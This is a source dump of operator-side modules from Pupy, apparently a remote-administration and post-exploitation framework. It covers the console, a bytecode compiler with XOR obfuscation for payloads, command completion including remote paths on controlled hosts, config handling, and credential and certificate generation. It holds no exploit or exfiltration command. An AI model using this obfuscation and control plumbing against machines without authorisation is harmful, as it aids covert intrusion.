            self.display(ServiceInfo('Background job: {}'.format(job)))
            return

        job.worker_pool.join(on_interrupt=job.interrupt)

        if job.module.io not in (REQUIRE_REPL, REQUIRE_TERMINAL):
            self.summary(job)

    def summary(self, job):
        need_title = len(job) > 1
        modules = len(job.pupymodules)

        for idx, instance in enumerate(job.pupymodules):
            if not instance.stdout:
                continue

            if need_title:
                self.display(Title(str(instance.client)))

            for block in instance.stdout.getvalue():
                self.display(block, instance.stdout.is_stream)

            if idx < modules-1:
                self.display(NewLine(0))

    def display(self, text, nocrlf=False, to_bytes=False):
        with self.display_lock:
            try:
                text = as_term_bytes(text)
            except Exception as e:
                if logger.getEffectiveLevel() == logging.DEBUG:
                    logger.exception('display error: %s', e)

            self.stdout.write(text)

            if not nocrlf:
                self.stdout.write(b'\n')

    def redraw_line(self, msg=b''):
        buf = as_term_bytes(
            readline.get_line_buffer()
        )

        msg = as_term_bytes(msg)
        prompt = as_term_bytes(self.prompt)

        self.stdout.write(
            b''.join([
                STOR_CUR,
                CUR_LEFT,
                DEL_RIGHT,
                msg,
                b'\n',
                prompt,
                buf,
                LOAD_CUR
            ])
        )

        try:
            readline.redisplay()
        except Exception:
            traceback.print_exc()

    def display_srvinfo(self, msg):
        msg = colorize(b'[*] ', 'blue') + as_term_bytes(msg)
        self.redraw_line(msg)

    def display_success(self, msg):
        return self.display(Success(msg))

    def display_error(self, msg):
        return self.display(Error(msg))

    def display_warning(self, msg):
        return self.display(Warn(msg))

    def display_info(self, msg):
        return self.display(Info(msg))

    def postcmd(self, stop, line):
        readline.write_history_file(self.history_file)
        # readline.redisplay()
        return stop

    def complete(self, text, state):
        if state == 0:
            line = readline.get_line_buffer().lstrip()

            try:
                context = CompletionContext(
                    self.pupsrv, self, self.config, self.commands
                )

                compfunc, module, args = self.commands.completer(context, line)
                self.completion_matches = compfunc(module, args, text, context)

            except Exception as e:
                if logger.getEffectiveLevel() == logging.DEBUG:
                    logger.exception('Completion error: %s', e)

        try:
            if self.completion_matches:
                return self.completion_matches[state]

        except IndexError:
            return None

    def _complete_path(self, path=None):
        "Perform completion of filesystem path."
        if not path:
            return os.listdir('.')
        dirname, rest = os.path.split(path)
        tmp = dirname if dirname else '.'
        res = [
            os.path.join(dirname, p)
            for p in os.listdir(tmp) if p.startswith(rest)
        ]
        # more than one match, or single match which does not exist (typo)
        if len(res) > 1 or not os.path.exists(path):
            return res
        # resolved to a single directory, so return list of files below it
        if os.path.isdir(path):
            return [os.path.join(path, p) for p in os.listdir(path)]
        # exact file match terminates this completion
        return [path + ' ']

    def complete_read(self, text, line, begidx, endidx):
        tab = line.split(' ', 1)
        if len(tab) >= 2:
            return self._complete_path(tab[1])


class PupyCmdLoop(object):
    def __init__(self, pupyServer):
        self.cmd = PupyCmd(pupyServer)
        self.pupysrv = pupyServer
        self.stopped = Event()

    def loop(self):
        while not self.stopped.is_set() and not self.pupysrv.finished.is_set():
            try:
                self.cmd.cmdloop()
                self.stopped.set()
            except Exception:

                time.sleep(0.1)  # to avoid flood in case of exceptions in loop
                self.cmd.intro = []

        self.pupysrv.stop()

    def stop(self):
        self.stopped.set()


================================================
FILE: pupy/pupylib/PupyCompile.py
================================================
# -*- coding: utf-8 -*-

#                  WARNING !!!!

# __future__ will influence compiled files
# This must not be used, due to errors in standard libraries

# from __future__ import absolute_import
# from __future__ import division
# from __future__ import print_function
# from __future__ import unicode_literals

import sys
import ast
import marshal
import logging

try:
    from .PupyLogger import getLogger
    logger = getLogger('compiler')
except ValueError:
    # If PupyCompile imported directly (build_library_zip.py)
    logger = logging

if sys.version_info.major > 2:

    xrange = range
    unicode = str


class Compiler(ast.NodeTransformer):
    def __init__(self, data, path=False, main=False, docstrings=False):
        source = data
        if path:
            with open(data, 'rb') as src:
                source = src.read()

        self._main = main
        self._docstrings = docstrings

        ast.NodeTransformer.__init__(self)

        self._source_ast = None

        try:
            self._source_ast = ast.parse(source)

        except TypeError as e:
            logger.error('Invalid input: %s (%s)', data, e)
            raise

        except SyntaxError as e:
            if path:
                logger.error(
                    'Compilation error: %s %s:%s', e.msg, data, e.lineno
                )
            else:
                logger.error(
                    'Compilation error: %s line: %s',
                    e.msg, source.split('\n')[e.lineno]
                )

    def compile(self, filename, obfuscate=False, raw=False, magic=b'\x00'*8):
        if self._source_ast is None:
            return None

        body = marshal.dumps(
            compile(self.visit(self._source_ast), filename, 'exec')
        )

        if obfuscate:
            body_len = len(body)
            offset = 0 if raw else 8

            output = bytearray(body_len + 8)
            for i, x in enumerate(body):
                output[i+offset] = (
                    ord(x) ^ ((2 ** ((65535 - i) % 65535)) % 251)
                )

            if raw:
                for i in xrange(8):
                    output[i] = 0

            return output

        elif raw:
            return body

        else:
            return magic + body

    def visit_If(self, node):
        if hasattr(node.test, 'id') and node.test.id == '__debug__':
            if node.orelse:
                return node.orelse
            else:
                return [
                    ast.Pass(
                        lineno=node.lineno,
                        col_offset=node.col_offset
                    )
                ]
        if not self._main and type(node.test) == ast.Compare \
            and type(node.test.left) == ast.Name \
                and node.test.left.id == '__name__':
            for comparator in node.test.comparators:
                if type(comparator) == ast.Str and comparator.s == '__main__':
                    return node.orelse
        elif hasattr(node.test, 'operand') and type(node.test.op) == ast.Not \
            and type(node.test.operand) == ast.Name and \
                node.test.operand.id == '__debug__':
            return node.body

        return node

    def visit_Expr(self, node):
        if type(node.value) == ast.Call and type(
            node.value.func) == ast.Attribute and type(
                node.value.func.value) == ast.Name and \
                    node.value.func.value.id == 'logging' and \
                        node.value.func.attr == 'debug':
            return None
        elif (type(node.value) == ast.Str):
            if not self._docstrings:
                node.value.s = ""

        return node

    def visit_Assign(self, node):
        if self._docstrings:
            return node

        if (type(node.value) == ast.Str) and all(
                type(target) == ast.Name and target.id in (
                    '__copyright__', '__doc__')
                for target in node.targets):
            node.value.s = ''

        return node


def pupycompile(
    data, filename='', path=False, obfuscate=False,
        raw=False, debug=False, main=False, target=None):

    if target is not None:
        major, minor = target

    if not debug:
        logger.info(data if path else filename)
        data = Compiler(data, path, main).compile(filename, obfuscate, raw)
    else:
        source = data
        if path:
            with open(data, 'rb') as sfile:
                source = sfile.read()

        logger.info('debug: %s', data if path else filename)
        data = marshal.dumps(compile(source, filename, 'exec'))

    if data is None:
        raise ValueError('Compilation failed (debug={})'.format(debug))

    return data


if __name__ == '__main__':
    import argparse
    import os
    import stat
    import sys
    import imp
    import struct

    WHITELIST = (
        'c_parser'
    )

    parser = argparse.ArgumentParser()
    parser.add_argument('-f', '--fake-file-path', default=False, action='store_true', help='Fake file path (number)')
    parser.add_argument('-M', '--delete-main', default=False, action='store_true', help='Remove __main__')
    parser.add_argument('-D', '--delete-docstrings', default=False, action='store_true', help='Detele __doc__')
    parser.add_argument('files', metavar='<file.py>', nargs='+', help='File(s) to compile')
    args = parser.parse_args(sys.argv[1:])

    def pcompile(fake_filepath, filepath, main=False, docstrings=False):
        logger.info(filepath)
        filepath_noext, ext = os.path.splitext(filepath)
        filepath_basename = os.path.basename(filepath_noext)

        if filepath_basename in WHITELIST:
            main = True
            docstrings = True

        try:
            with open(filepath_noext + '.pyo', 'wb') as out:
                mtime = int(os.stat(filepath).st_mtime)
                out.write(Compiler(filepath, True, main, docstrings).compile(
                    fake_filepath or filepath, False, False,
                    struct.pack('<4sl', imp.get_magic(), mtime)))

        except (OSError, IOError, SyntaxError) as e:
            logger.error('%s: %s', filepath, e)

    fid = 0

    for f in args.files:
        if stat.S_ISDIR(os.stat(f).st_mode):
            for root, _, files in os.walk(f):
                for ff in files:
                    if not ff.endswith('.py'):
                        continue

                    ff = os.path.join(root, ff)

                    if args.fake_file_path:
                        fname = 'f:{}'.format(fid)
                        fid += 1
                    else:
                        fname = ff

                    pcompile(
                        fname, ff,
                        not args.delete_main,
                        not args.delete_docstrings
                    )

        else:
            if args.fake_file_path:
                fname = 'f:{}'.format(fid)
            else:
                fname = f
                fid += 1

            pcompile(
                fname, f,
                not args.delete_main,
                not args.delete_docstrings
            )


================================================
FILE: pupy/pupylib/PupyCompleter.py
================================================
# -*- coding: utf-8 -*-
# --------------------------------------------------------------
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# All rights reserved.
#
# Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:
#
# 1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.
#
# 2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.
#
# 3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.
#
# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
# --------------------------------------------------------------

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

import sys
import os
import os.path
import stat

from argparse import REMAINDER

from .PupyErrors import PupyModuleExit, PupyModuleUsageError
from .payloads.dependencies import paths

if sys.version_info.major > 2:
    xrange = range


def package_completer(module, args, text, context):
    clients = context.server.get_clients(context.handler.default_filter)

    paths_to_scan = set()
    completions = set()

    for client in clients:
        for path in paths(client.platform, client.arch, client.is_posix()):
            paths_to_scan.add(path)

    module_path = text.split('.')

    path_to_scan = os.path.sep.join(module_path)
    for path in paths_to_scan:
        full_path_to_scan = os.path.sep.join([path, path_to_scan])
        dir_to_scan = os.path.dirname(full_path_to_scan)
        if not os.path.isdir(dir_to_scan):
            continue

        for item in os.listdir(dir_to_scan):
            try:
                item_info = os.stat(os.path.join(dir_to_scan, item))
            except OSError:
                continue

            completion = ''
            if stat.S_ISDIR(item_info.st_mode) and os.path.isfile(
                    os.path.join(os.path.join(dir_to_scan, item, '__init__.py'))):
                completion = item
            elif stat.S_ISREG(item_info.st_mode) and item.endswith('.py'):
                completion = os.path.splitext(item)[0]

            completion = '.'.join(module_path[:-1] + [completion])
            if completion.startswith(text) and not item.startswith('__init__.py'):
                completions.add(completion)

    return list(completions)


def commands_completer(module, args, text, context):
    aliases = dict(context.config.items('aliases'))
    modules = list(context.server.iter_modules(
        by_clients=True,
        clients_filter=context.handler.default_filter))
    commands = context.commands.list(False)

    return [
        x+' ' for x in aliases if x.startswith(text)
    ] + [
        x+' ' for x,_ in commands if x.startswith(text)
    ] + [
        x.get_name()+' ' for x in modules if x.get_name().startswith(text)
    ]


def list_completer(lines):
    def func(module, args, text, context):
        return [line+" " for line in lines if line.startswith(text)]
    return func


def void_completer(module, args, text, context):
    return []


def remote_path_completer(module, args, text, context, dirs=None):
    results = []
    try:
        import logging
        clients = context.server.get_clients(context.handler.default_filter)
        if len(clients) != 1:
            return []

        path = text or ''

        client = clients[0]
        client.load_package(['pupyutils.basic_cmds', 'scandir'])
        complete = client.remote('pupyutils.basic_cmds', 'complete')
        path, results = complete(path, dirs=dirs)
        if path is not None:
            results = [
                (
                    '/'.join([path, result]) if result else path
                ) for result in results
            ]

    except Exception as e:
        logging.exception("rpc: %s", e)

    return results


def remote_dirs_completer(module, args, text, context):
    return remote_path_completer(module, args, text, context, dirs=True)


def remote_files_completer(module, args, text, context):
    return remote_path_completer(module, args, text, context, dirs=False)


def path_completer(module, args, text, context):
    completions=[]

    if not text:
        completions=os.listdir('.')
    else:
        try:
            dirname=os.path.dirname(text)
            if not dirname:
                dirname="."
            basename=os.path.basename(text)
            for f in os.listdir(dirname):
                if f.startswith(basename):
                    if os.path.isdir(os.path.join(dirname,f)):
                        completions.append(os.path.join(dirname,f)+os.sep)
                    else:
                        completions.append(os.path.join(dirname,f)+" ")
        except:
            pass

    return completions


def module_name_completer(module, args, text, context):

    del module

    modules = (
        x.get_name() for x in context.server.iter_modules(
        by_clients=True,
        clients_filter=context.handler.default_filter)
    )

    return [module for module in modules if module.startswith(text) or not text]


def module_args_completer(module, args, text, context):
    try:
        args = module.arguments
        module = context.server.get_module(module.module)
    except ValueError:
        return []

    completer = module.arg_parser.get_completer()

    text = text

    return completer.complete(module, args, text, context)


class CompletionContext(object):

    __slots__ = (
        'server', 'handler', 'config', 'commands'
    )

    def __init__(self, server, handler, config, commands):
        self.server = server
        self.handler = handler
        self.config = config
        self.commands = commands


class PupyModCompleter(object):
    def __init__(self, parser):
        self.conf = {
            'positional_args': [],
            'optional_args': [],
        }

        self.parser = parser

    def add_positional_arg(self, names, **kwargs):
        """ names can be a string or a list to pass args aliases at once """
        if not type(names) is list and not type(names) is tuple:
            names = [names]

        for name in names:
            self.conf['positional_args'].append((name, kwargs))

    def add_optional_arg(self, names, **kwargs):
        """ names can be a string or a list to pass args aliases at once """
        if not type(names) is list and not type(names) is tuple:
            names = [names]

        for name in names:
            self.conf['optional_args'].append((name, kwargs))

    def get_optional_nargs(self, name):
        for n, kwargs in self.conf['optional_args']:
            if name == n:
                if 'action' in kwargs:
                    action = kwargs['action']
                    if action in ('store_true', 'store_false'):
                        return 0
                break

        return 1

    def get_optional_args(self, nargs=None):
        if nargs is None:
            return [
                x[0] for x in self.conf['optional_args']
            ]
        else:
            return [
                x[0] for x in self.conf['optional_args'] \
                if self.get_optional_nargs(x[0]) == nargs
            ]

    def get_positional_args(self):
        return self.conf['positional_args']

    def get_positional_arg_index(self, text, tab, context):
        posmax = len(self.get_positional_args())

        if not tab:
            return 0, False

        elif not self.get_positional_args():
            return 0, False

        elif posmax < 2:
            return 0, False

        opt0 = self.get_optional_args(nargs=0)
        opt1 = self.get_optional_args(nargs=1)
        ltab = len(tab)

        i = 0
        omit = 0

        for i in xrange(0, ltab):
            if i >= omit:
                if i-omit >= posmax:
                    return posmax, True

                name, kwargs = self.get_positional_args()[i-omit]
                if 'nargs' in kwargs and kwargs['nargs'] == REMAINDER:
                    return i - omit, True

            if tab[i] in opt0 or (i == ltab-1 and any(opt.startswith(tab[i]) for opt in opt0)):
                omit += 1

            elif tab[i] in opt1 or (i == ltab-1 and any(opt.startswith(tab[i]) for opt in opt1)):
                omit += 1

            elif i > 1 and tab[i-1] in opt1:
                omit += 1

        if not text:
            i += 1

        if i < omit:
            return 0, False

        pos = i - omit
        remainder = False

        name, kwargs = self.get_positional_args()[pos]
        if 'nargs' in kwargs and kwargs['nargs'] == REMAINDER:
            remainder = True

        return pos, remainder

    def get_optional_args_completer(self, name):
        return [
            x[1]["completer"] for x in self.conf["optional_args"] if x[0]==name
        ][0]

    def get_positional_args_completer(self, index):
        if index < len(self.get_positional_args()):
            return self.get_positional_args()[index][1]['completer']

    def complete(self, module, args, text, context):
        if text in self.get_optional_args(nargs=1):
            completer = self.get_optional_args_completer(text)
            return completer(module, args, text, context)

        positional_index, remainder = self.get_positional_arg_index(
            text, args, context)

        if text.startswith('-') and not remainder:
            return [
                x+' ' for x in self.get_optional_args() if x.startswith(text)
            ]
        else:
            completer = self.get_positional_args_completer(positional_index)
            if not completer:
                return None

            if args:
                try:
                    module, args = self.parser.parse_known_args(args)
                except (PupyModuleUsageError, PupyModuleExit):
                    pass

            return completer(module, args, text, context)


================================================
FILE: pupy/pupylib/PupyConfig.py
================================================
# -*- coding: utf-8-*-

from __future__ import absolute_import
from __future__ import division
from __future__ import print_function
from __future__ import unicode_literals

__all__ = [
    'Tags', 'PupyConfig', 'Error', 'NoSectionError'
]

try:
    from ConfigParser import (
        RawConfigParser, Error, NoSectionError, NoOptionError
    )

    setattr(RawConfigParser, 'read_file', RawConfigParser.readfp)
except ImportError:
    from configparser import (
        RawConfigParser, Error, NoSectionError, NoOptionError
    )

from os import path, makedirs
from netaddr import IPAddress

import sys
import platform
import random
import string
import datetime
import errno
import shutil
import os

from pupy.network.lib.convcompat import (
    as_unicode_string, as_native_string
)

from .PupyLogger import getLogger
from pupy.pupylib import ROOT
logger = getLogger('config')

if sys.version_info.major > 2:
    long = int
    xrange = range


TAGS_SECTION = as_native_string('tags')
PATHS_SECTION = as_native_string('paths')


class Tags(object):
    def __init__(self, config, node):
        self.config = config
        self.node = as_native_string(node)

    def __iter__(self):
        for item in self.get():
            yield as_unicode_string(item)

    def get(self):
        tags = self.config.get(TAGS_SECTION, self.node)
        if not tags:
            return set()

        return set(
            as_unicode_string(tag) for tag in tags.split(',')
        )

    def set(self, tags):
        encoded_tags = as_native_string(
            ','.join([
                as_unicode_string(x, fail='convert') for x in tags
            ])
        )

        return self.config.set(TAGS_SECTION, self.node, encoded_tags)

    def add(self, *tags):
        current_tags = self.get()
        for tag in tags:
            current_tags.add(tag)
        self.set(current_tags)

    def remove(self, *tags):
        current_tags = self.get()
        for tag in tags:
            if tag in current_tags:
                current_tags.remove(tag)

        if current_tags:
            self.set(current_tags)
        else:
            self.clear()

    def clear(self):
        self.config.remove_option(TAGS_SECTION, self.node)

    def __str__(self):
        return as_native_string(','.join(self.get()))


class PupyConfig(RawConfigParser):

    def __init__(self, config='pupy.conf'):
        self.root = path.abspath(ROOT)
        self.user_root = path.expanduser(path.join('~', '.pupy'))
        self.default_file = path.join(self.root, "conf", config+'.default')
        self.user_path = path.join(self.user_root, config)

        prefer_workdir = self.getboolean(PATHS_SECTION, 'prefer_workdir')
        if not prefer_workdir:
            if not os.path.exists(self.user_root):
                os.makedirs(self.user_root)
            if not os.path.exists(self.user_path):
                shutil.copyfile(self.default_file, self.user_path)
                logger.info("No default pupy config file, creating one in {}".format(self.user_path))

        self.files = [
            self.default_file,
            self.user_path
        ]
        self.randoms = {}
        self.command_line = {}

        RawConfigParser.__init__(self)

        for file in self.files:
            try:
                self.read_file(open(file, 'r'))

                logger.info(
                    'Loaded config data from %s', file
                )
            except (IOError, OSError) as e:
                if e.errno == errno.EEXIST:
                    pass

    def tags(self, node):
        if type(node) in (int, long):
            node = '{:012x}'.format(node)

        return Tags(self, node)

    def by_tags(self, tags):
        available_tags = {
            as_unicode_string(k): tuple([
                as_unicode_string(tag)
                for tag in self.get('tags', k).split(',')
            ]) for k in self.options('tags')
        }

        if '&' in tags:
            tags = tags.split('&')
            op_filter = all
        elif '|' in tags:
            tags = tags.split('|')
            op_filter = any
        else:
            tags = tags.split(',')
            op_filter = any

        result = []

        for node in available_tags:
            node_tags = available_tags[node]
            if op_filter(x in node_tags for x in tags):
                result.append(node)

        return result

    def save(self, project=True, user=False):
        if project:
            project_dir = path.dirname(self.project_path)
            if not path.isdir(project_dir):
                makedirs(project_dir)

            with open(self.project_path, 'w') as config:
                self.write(config)

            logger.info('Config saved to %s', self.project_path)

        if user:
            user_dir = path.dirname(self.user_path)
            if not path.isdir(user_dir):
                makedirs(user_dir)

            with open(self.user_path, 'w') as config:
                self.write(config)

            logger.info('Config saved to %s', self.user_path)

    def get_path(self, filepath, substitutions={}, create=True, dir=False):
        prefer_workdir = self.getboolean(PATHS_SECTION, 'prefer_workdir')
        from_config = self.get(PATHS_SECTION, filepath)

        if from_config:
            filepath = as_unicode_string(from_config)

        retfilepath = ''

        # 1. If path is absolute filepath use as-is
        if path.isabs(filepath):
            retfilepath = filepath

        # 2. If file exists in workdir then use it
        elif path.exists(filepath):
            retfilepath = filepath

        # 3. If file exists in userdir then use it
        elif path.exists(path.join(self.user_root, filepath)):
            retfilepath = path.join(self.user_root, filepath)

        # 4. If file exists in root dir, and we are not going to
        #    create something new (default) then use it
        elif path.exists(path.join(self.root, filepath)) and not create:
            retfilepath = path.join(self.root, filepath)

        # 5. File/path is not exists. We need to create one
        else:
            if prefer_workdir:
                retfilepath = filepath
            else:
                retfilepath = path.join(self.user_root, filepath)

        substitutions.update({
            '%t': as_unicode_string(
                datetime.datetime.now(), fail='convert'
            ).replace(' ', '_').replace(':', '-')
        })

        for key in substitutions:
            value = substitutions[key]
            try:
                value = value.replace('/', '_').replace('..', '_')
                if platform.system == 'Windows':
                    value = value.replace(':', '_')
            except Exception:
                pass

            retfilepath = retfilepath.replace(
                key, as_unicode_string(value, fail='convert')
            )

        if dir and path.isdir(retfilepath):
            return path.abspath(retfilepath)
        elif not dir and path.isfile(retfilepath):
            return path.abspath(retfilepath)
        elif path.exists(retfilepath):
            raise ValueError('{} is not a {}'.format(
                path.abspath(retfilepath),
                'dir' if dir else 'file'))
        elif create:
            if dir:
                makedirs(retfilepath)
            else:
                dirpath = path.dirname(retfilepath)
                if not path.isdir(dirpath):
                    makedirs(dirpath)

            return path.abspath(retfilepath)
        else:
            return path.abspath(retfilepath)

    def get_folder(self, folder='data', substitutions={}, create=True):
        return self.get_path(folder, substitutions, create, True)

    def get_file(self, folder='data', substitutions={}, create=True):
        return self.get_path(folder, substitutions, create)

    def remove_option(self, section, key):
        if section != 'randoms':
            RawConfigParser.remove_option(
                self,
                as_native_string(section),
                as_native_string(key)
            )

        elif section in self.command_line and \
                key in self.command_line[section]:
            del self.command_line[section][key]
            if not self.command_line[section]:
                del self.command_line[section]
        else:
            if key in self.randoms:
                del self.randoms[key]
            elif key == 'all':
                self.randoms = {}

    def set(self, section, key, value, **kwargs):
        if kwargs.get('cmd', False):
            if section not in self.command_line:
                self.command_line[section] = {}
            self.command_line[section][key] = str(value)
        elif section != 'randoms':
            section = as_native_string(section)
            key = as_native_string(key)

            if section in self.command_line and \
                    key in self.command_line[section]:
                del self.command_line[section][key]
                if not self.command_line[section]:
                    del self.command_line[section]

            try:
                RawConfigParser.set(self, section, key, value)
            except NoSectionError:
                logger.debug('Create new section {}'.format(section))
                RawConfigParser.add_section(self, section)
                RawConfigParser.set(self, section, key, value)

        else:
            if not key:
                N = kwargs.get('random', 10)
                while True:
                    key = ''.join(
                        random.choice(
                            string.ascii_letters + string.digits
                        ) for _ in range(N)
                    )

                    if key not in self.randoms:
                        break

            self.randoms[key] = value
            return key

    def getboolean(self, section, option, default=False):
        section = as_native_string(section)
        option = as_native_string(option)

        try:
            result = RawConfigParser.getboolean(self, section, option)

            if result is None:
                return default

            return result
        except AttributeError:
            return default

    def get(
        self, section, option, default=None,
            random=10, new=True, **kwargs):
        try:
            if section == 'randoms':
                if option not in self.randoms:
                    if new:
                        self.randoms[option] = ''.join(
                            random.choice(
                                string.ascii_letters + string.digits
                            ) for _ in xrange(random)
                        )

                return self.randoms.get(option, None)

            elif section in self.command_line and \
                    option in self.command_line[section]:
                return self.command_line[section][option]

            section = as_native_string(section)
            option = as_native_string(option)
            result = as_unicode_string(
                RawConfigParser.get(self, section, option, **kwargs),
                fail=False
            )

            if result is None:
                return default

            return result

        except (NoSectionError, NoOptionError):
            return default

    def getip(self, section, option, default=None):
        ip = self.get(section, option)
        if not ip:
            return default

        return IPAddress(ip)

    def sections(self):
        sections = [
            as_unicode_string(section)
            for section in RawConfigParser.sections(self)
        ]

        sections.append('randoms')
        for section in self.command_line:
            if section not in sections:
                sections.append(section)

        return sections

    def options(self, section):
        if section != 'randoms':
            return [
                as_unicode_string(option)
                for option in RawConfigParser.options(
                    self, as_native_string(section)
                )
            ]

        keys = self.randoms.keys()
        if section in self.command_line:
            for key in self.command_line[section]:
                if key not in keys:
                    keys.append(key)

        return keys


================================================
FILE: pupy/pupylib/PupyCredentials.py
================================================
# -*- coding: utf-8-*-
import sys

if __name__ == '__main__':
    sys.path.append('..')

from .PupyConfig import PupyConfig

from io import open
from os import path, urandom, chmod, makedirs

import string
import errno
import time
import json
import hashlib

from datetime import datetime

from pupy.network.lib.transports.cryptoutils import ECPV
from getpass import getpass

from . import getLogger
logger = getLogger('credentials')

try:
    from M2Crypto import X509, EVP, RSA, ASN1
except Exception as e:
    logger.warning(e)
    M2Crypto=None
    
import rsa

from hashlib import md5
try:
    from Crypto.Cipher import AES
    from Crypto import Random
except Exception as e:
    logger.warning(e)
    AES=None
    Random=None

from io import BytesIO

try:
    import secretstorage
except ImportError:
    secretstorage = None


if sys.version_info.major > 2:
    def bord(x):
        return x

    long = int

else:
    bord = ord

# http://stackoverflow.com/questions/16761458/how-to-aes-encrypt-decrypt-files-using-python-pycrypto-in-an-openssl-compatible
# M2Crypto simply generate garbage instead of AES.. Crazy situation


DEFAULT_ROLE = 'CLIENT'


class EncryptionError(Exception):
    pass


class GnomeKeyring(object):
    def __init__(self):
        if secretstorage:
            try:
                self.bus = secretstorage.dbus_init()
            except Exception as e:
                logger.exception(
                    'secretstorage dbus intialization failed: %s', e
                )

                self.bus = None

        self.collection = {
            'application': 'pupy'
        }

    def get_pass(self):
        if not self.bus:
            return

        try:
            collection = secretstorage.get_default_collection(self.bus)
            if collection.is_locked():
                collection.unlock()  # will open a gnome-keyring popup

            x = next(collection.search_items(self.collection))
            return x.get_secret()

        except StopIteration:
            pass

        except Exception as e:
            logger.warning("Error with GnomeKeyring get_pass: %s", e)

    def store_pass(self, password):
        if not self.bus:
            return

        try:
            collection = secretstorage.get_default_collection(self.bus)
            if collection.is_locked():
                collection.unlock()

            collection.create_item(
                'pupy_credentials', self.collection, password
            )

        except Exception as e:
            logger.warning("Error with GnomeKeyring store_pass: %s", e)

    def del_pass(self):
        if not self.bus:
            return

        collection = secretstorage.get_default_collection(self.bus)
        if collection.is_locked():
            collection.unlock()

        x = next(collection.search_items(self.collection))
        x.delete()


class Encryptor(object):
    _instance = None
    _getpass = getpass

    def __init__(self, password):
        self.password = password

    @staticmethod
    def initialized():
        return not (Encryptor._instance is None)

    @staticmethod
    def instance(password=None, getpass_hook=None, config=None):
        if secretstorage and not Encryptor._instance:
            if not password:
                config = config or PupyConfig()
                use_gnome_keyring = config.getboolean(
                    'pupyd', 'use_gnome_keyring'
                )

                if use_gnome_keyring:
                    gkr = GnomeKeyring()
                    password = gkr.get_pass()

            if not password:
                getpass_hook = getpass_hook or getpass
                if use_gnome_keyring:
                    logger.warning(
                        'use_gnome_keyring is true, the password '
                        'will be stored in the Gnome-Keyring'
                    )

                password = getpass_hook('[I] Credentials password: ')
                if use_gnome_keyring:
                    gkr.store_pass(password)

            Encryptor._instance = Encryptor(password)

        return Encryptor._instance

    def derive_key_and_iv(self, salt, key_length, iv_length):
        d = d_i = ''
        while len(d) < key_length + iv_length:
            d_i = md5(d_i + self.password + salt).digest()
            d += d_i
        return d[:key_length], d[key_length:key_length+iv_length]

    def encrypt(self, in_file, out_file, key_length=32):
        bs = AES.block_size
        salt = Random.new().read(bs - len('Salted__'))
        key, iv = self.derive_key_and_iv(salt, key_length, bs)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        out_file.write('Salted__' + salt)
        finished = False

        while not finished:
            chunk = in_file.read(1024 * bs)
            if len(chunk) == 0 or len(chunk) % bs != 0:
                padding_length = bs - (len(chunk) % bs)
                chunk += padding_length * chr(padding_length)
                finished = True

            out_file.write(cipher.encrypt(chunk))

    def decrypt(self, in_file, out_file, key_length=32):
        bs = AES.block_size
        salt = in_file.read(bs)[len('Salted__'):]
        key, iv = self.derive_key_and_iv(salt, key_length, bs)
        cipher = AES.new(key, AES.MODE_CBC, iv)
        next_chunk = ''
        finished = False

        while not finished:
            chunk, next_chunk = next_chunk, cipher.decrypt(
                in_file.read(1024 * bs))

            if len(next_chunk) == 0:
                padding_length = bord(chunk[-1])

                if padding_length < 1 or padding_length > bs:
                    try:
                        # to avoid keep using a bad credential
                        GnomeKeyring().del_pass()
                    except Exception as e:
                        logger.exception('GnomeKeyring del_pass failed: %s', e)

                    raise ValueError("bad decrypt pad (%d)" % padding_length)

                # all the pad-bytes must be the same
                expected_padding = (padding_length * chr(padding_length))
                if chunk[-padding_length:] != expected_padding:
                    # this is similar to the bad decrypt:evp_enc.c
                    # from openssl program
                    raise ValueError("bad decrypt")

                chunk = chunk[:-padding_length]
                finished = True

            out_file.write(chunk)


ENCRYPTOR = Encryptor.instance

HELP_RESET_MSG = 'FYI you can reset your credentials by removing ' \
    'crypto/credentials.py but you will have to re-generate your payloads.'


def _generate_password(length):
    alphabet = string.punctuation + string.ascii_letters + string.digits
    return ''.join(
        alphabet[bord(c) % len(alphabet)] for c in urandom(length)
    )


def _generate_id(length):
    alphabet = string.ascii_letters
    return ''.join(
        alphabet[bord(c) % len(alphabet)] for c in urandom(length)
    )


def _generate_ecpv_keypair(curve='brainpoolP160r1'):
    return ECPV(curve=curve).generate_key()


def _generate_rsa_keypair(bits=2048):
    key = RSA.gen_key(bits, 65537)
    private_key = key.as_pem(cipher=None)
    rsa_privkey = rsa.key.PrivateKey.load_pkcs1(
        private_key, 'PEM'
    )
    rsa_pubkey = rsa.key.PublicKey(rsa_privkey.n, rsa_privkey.e)
    public_key = rsa_pubkey.save_pkcs1('PEM')

    return private_key, public_key, key


def _generate_ssl_ca():
    ca_key_pem, ca_cert_pem, ca_key = _generate_rsa_keypair()

    t = long(time.time())
    now = ASN1.ASN1_UTCTIME()
    now.set_time(t)
    expire = ASN1.ASN1_UTCTIME()
    expire.set_time(t + 365 * 24 * 60 * 60)

    pk = EVP.PKey()
    pk.assign_rsa(ca_key)

    cert = X509.X509()
    cert.get_subject().O = _generate_id(10) # noqa
    cert.set_serial_number(1)
    cert.set_version(3)
    cert.set_not_before(now)
    cert.set_not_after(expire)
    cert.set_issuer(cert.get_subject())
